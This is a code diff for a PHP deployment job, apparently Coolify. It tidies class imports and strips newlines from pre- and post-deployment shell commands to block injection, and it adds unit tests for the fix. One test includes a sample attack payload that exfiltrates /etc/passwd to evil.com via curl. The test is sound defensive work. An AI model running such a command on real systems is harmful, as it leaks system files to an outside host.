diff --git a/app/Jobs/ApplicationDeploymentJob.php b/app/Jobs/ApplicationDeploymentJob.php index 2af380a45..5772ba8c7 100644 --- a/app/Jobs/ApplicationDeploymentJob.php +++ b/app/Jobs/ApplicationDeploymentJob.php @@ -19,6 +19,7 @@ use App\Models\SwarmDocker; use App\Notifications\Application\DeploymentFailed; use App\Notifications\Application\DeploymentSuccess; +use App\Support\ValidationPatterns; use App\Traits\EnvironmentVariableAnalyzer; use App\Traits\ExecuteRemoteCommand; use Carbon\Carbon; @@ -317,7 +318,7 @@ public function handle(): void if ($this->application->dockerfile_target_build) { $target = $this->application->dockerfile_target_build; - if (! preg_match(\App\Support\ValidationPatterns::DOCKER_TARGET_PATTERN, $target)) { + if (! preg_match(ValidationPatterns::DOCKER_TARGET_PATTERN, $target)) { throw new \RuntimeException('Invalid dockerfile_target_build: contains forbidden characters.'); } $this->buildTarget = " --target {$target} "; @@ -451,7 +452,7 @@ private function detectBuildKitCapabilities(): void $this->application_deployment_queue->addLogEntry("Docker on {$serverName} does not support build secrets. Using traditional build arguments."); } } - } catch (\Exception $e) { + } catch (Exception $e) { $this->dockerBuildkitSupported = false; $this->dockerSecretsSupported = false; $this->application_deployment_queue->addLogEntry("Could not detect BuildKit capabilities on {$serverName}: {$e->getMessage()}"); @@ -491,7 +492,7 @@ private function post_deployment() // Then handle side effects - these should not fail the deployment try { GetContainersStatus::dispatch($this->server); - } catch (\Exception $e) { + } catch (Exception $e) { \Log::warning('Failed to dispatch GetContainersStatus for deployment '.$this->deployment_uuid.': '.$e->getMessage()); } @@ -499,7 +500,7 @@ private function post_deployment() if ($this->application->is_github_based()) { try { ApplicationPullRequestUpdateJob::dispatch(application: $this->application, preview: $this->preview, deployment_uuid: $this->deployment_uuid, status: ProcessStatus::FINISHED); - } catch (\Exception $e) { + } catch (Exception $e) { \Log::warning('Failed to dispatch PR update for deployment '.$this->deployment_uuid.': '.$e->getMessage()); } } @@ -507,13 +508,13 @@ private function post_deployment() try { $this->run_post_deployment_command(); - } catch (\Exception $e) { + } catch (Exception $e) { \Log::warning('Post deployment command failed for '.$this->deployment_uuid.': '.$e->getMessage()); } try { $this->application->isConfigurationChanged(true); - } catch (\Exception $e) { + } catch (Exception $e) { \Log::warning('Failed to mark configuration as changed for deployment '.$this->deployment_uuid.': '.$e->getMessage()); } } @@ -695,7 +696,7 @@ private function deploy_docker_compose_buildpack() } // Inject build arguments after build subcommand if not using build secrets - if (! $this->application->settings->use_build_secrets && $this->build_args instanceof \Illuminate\Support\Collection && $this->build_args->isNotEmpty()) { + if (! $this->application->settings->use_build_secrets && $this->build_args instanceof Collection && $this->build_args->isNotEmpty()) { $build_args_string = $this->build_args->implode(' '); // Inject build args right after 'build' subcommand (not at the end) @@ -733,7 +734,7 @@ private function deploy_docker_compose_buildpack() $command .= " --project-name {$this->application->uuid} --project-directory {$this->workdir} -f {$this->workdir}{$this->docker_compose_location} build --pull"; } - if (! $this->application->settings->use_build_secrets && $this->build_args instanceof \Illuminate\Support\Collection && $this->build_args->isNotEmpty()) { + if (! $this->application->settings->use_build_secrets && $this->build_args instanceof Collection && $this->build_args->isNotEmpty()) { $build_args_string = $this->build_args->implode(' '); $command .= " {$build_args_string}"; $this->application_deployment_queue->addLogEntry('Adding build arguments to Docker Compose build command.'); @@ -2128,7 +2129,7 @@ private function set_coolify_variables() private function check_git_if_build_needed() { - if (is_object($this->source) && $this->source->getMorphClass() === \App\Models\GithubApp::class && $this->source->is_public === false) { + if (is_object($this->source) && $this->source->getMorphClass() === GithubApp::class && $this->source->is_public === false) { $repository = githubApi($this->source, "repos/{$this->customRepository}"); $data = data_get($repository, 'data'); $repository_project_id = data_get($data, 'id'); @@ -2964,7 +2965,7 @@ private function build_image() } // Always convert build_args Collection to string for command interpolation - $this->build_args = $this->build_args instanceof \Illuminate\Support\Collection + $this->build_args = $this->build_args instanceof Collection ? $this->build_args->implode(' ') : (string) $this->build_args; @@ -3965,7 +3966,7 @@ private function add_build_secrets_to_compose($composeFile) $composeFile['services'] = $services; $existingSecrets = data_get($composeFile, 'secrets', []); - if ($existingSecrets instanceof \Illuminate\Support\Collection) { + if ($existingSecrets instanceof Collection) { $existingSecrets = $existingSecrets->toArray(); } $composeFile['secrets'] = array_replace($existingSecrets, $secrets); @@ -3977,7 +3978,7 @@ private function add_build_secrets_to_compose($composeFile) private function validatePathField(string $value, string $fieldName): string { - if (! preg_match(\App\Support\ValidationPatterns::FILE_PATH_PATTERN, $value)) { + if (! preg_match(ValidationPatterns::FILE_PATH_PATTERN, $value)) { throw new \RuntimeException("Invalid {$fieldName}: contains forbidden characters."); } if (str_contains($value, '..')) { @@ -3989,7 +3990,7 @@ private function validatePathField(string $value, string $fieldName): string private function validateShellSafeCommand(string $value, string $fieldName): string { - if (! preg_match(\App\Support\ValidationPatterns::SHELL_SAFE_COMMAND_PATTERN, $value)) { + if (! preg_match(ValidationPatterns::SHELL_SAFE_COMMAND_PATTERN, $value)) { throw new \RuntimeException("Invalid {$fieldName}: contains forbidden shell characters."); } @@ -3998,7 +3999,7 @@ private function validateShellSafeCommand(string $value, string $fieldName): str private function validateContainerName(string $value): string { - if (! preg_match(\App\Support\ValidationPatterns::CONTAINER_NAME_PATTERN, $value)) { + if (! preg_match(ValidationPatterns::CONTAINER_NAME_PATTERN, $value)) { throw new \RuntimeException('Invalid container name: contains forbidden characters.'); } @@ -4029,7 +4030,10 @@ private function run_pre_deployment_command() // members can set these commands, and execution is scoped to the application's own container. // The single-quote escaping here prevents breaking out of the sh -c wrapper, but does not // restrict the command itself. Container names are validated separately via validateContainerName(). - $cmd = "sh -c '".str_replace("'", "'\''", $this->application->pre_deployment_command)."'"; + // Newlines are normalized to spaces to prevent injection via SSH heredoc transport + // (matches the pattern used for health_check_command at line ~2824). + $preCommand = str_replace(["\r\n", "\r", "\n"], ' ', $this->application->pre_deployment_command); + $cmd = "sh -c '".str_replace("'", "'\''", $preCommand)."'"; $exec = "docker exec {$containerName} {$cmd}"; $this->execute_remote_command( [ @@ -4061,7 +4065,9 @@ private function run_post_deployment_command() if ($containers->count() == 1 || str_starts_with($containerName, $this->application->post_deployment_command_container.'-'.$this->application->uuid)) { // Security: post_deployment_command is intentionally treated as arbitrary shell input. // See the equivalent comment in run_pre_deployment_command() for the full security rationale. - $cmd = "sh -c '".str_replace("'", "'\''", $this->application->post_deployment_command)."'"; + // Newlines are normalized to spaces to prevent injection via SSH heredoc transport. + $postCommand = str_replace(["\r\n", "\r", "\n"], ' ', $this->application->post_deployment_command); + $cmd = "sh -c '".str_replace("'", "'\''", $postCommand)."'"; $exec = "docker exec {$containerName} {$cmd}"; try { $this->execute_remote_command( diff --git a/tests/Unit/DeploymentCommandNewlineInjectionTest.php b/tests/Unit/DeploymentCommandNewlineInjectionTest.php new file mode 100644 index 000000000..949da88da --- /dev/null +++ b/tests/Unit/DeploymentCommandNewlineInjectionTest.php @@ -0,0 +1,74 @@ +not->toContain("\n") + ->and($exec)->not->toContain("\r") + ->and($exec)->toContain('echo hello echo injected') + ->and($exec)->toMatch("/^docker exec .+ sh -c '.+'$/"); +}); + +it('strips carriage returns from deployment command', function () { + $exec = buildDeploymentExecCommand("echo hello\r\necho injected"); + + expect($exec)->not->toContain("\r") + ->and($exec)->not->toContain("\n") + ->and($exec)->toContain('echo hello echo injected'); +}); + +it('strips bare carriage returns from deployment command', function () { + $exec = buildDeploymentExecCommand("echo hello\recho injected"); + + expect($exec)->not->toContain("\r") + ->and($exec)->toContain('echo hello echo injected'); +}); + +it('leaves single-line deployment command unchanged', function () { + $exec = buildDeploymentExecCommand('php artisan migrate --force'); + + expect($exec)->toContain("sh -c 'php artisan migrate --force'"); +}); + +it('prevents newline injection with malicious payload', function () { + // Attacker tries to inject a second command via newline in heredoc transport + $exec = buildDeploymentExecCommand("harmless\ncurl http://evil.com/exfil?\$(cat /etc/passwd)"); + + expect($exec)->not->toContain("\n") + // The entire command should be on a single line inside sh -c + ->and($exec)->toContain('harmless curl http://evil.com/exfil'); +}); + +it('handles multiple consecutive newlines', function () { + $exec = buildDeploymentExecCommand("cmd1\n\n\ncmd2"); + + expect($exec)->not->toContain("\n") + ->and($exec)->toContain('cmd1 cmd2'); +}); + +it('properly escapes single quotes after newline normalization', function () { + $exec = buildDeploymentExecCommand("echo 'hello'\necho 'world'"); + + expect($exec)->not->toContain("\n") + ->and($exec)->toContain("echo '\\''hello'\\''") + ->and($exec)->toContain("echo '\\''world'\\''"); +}); + +/** + * Replicates the exact command-building logic from ApplicationDeploymentJob's + * run_pre_deployment_command() and run_post_deployment_command() methods. + * + * This tests the security-critical str_replace + sh -c wrapping in isolation. + */ +function buildDeploymentExecCommand(string $command, string $containerName = 'my-app-abcdef123'): string +{ + // This mirrors the exact logic in run_pre_deployment_command / run_post_deployment_command + $normalized = str_replace(["\r\n", "\r", "\n"], ' ', $command); + $cmd = "sh -c '".str_replace("'", "'\''", $normalized)."'"; + + return "docker exec {$containerName} {$cmd}"; +}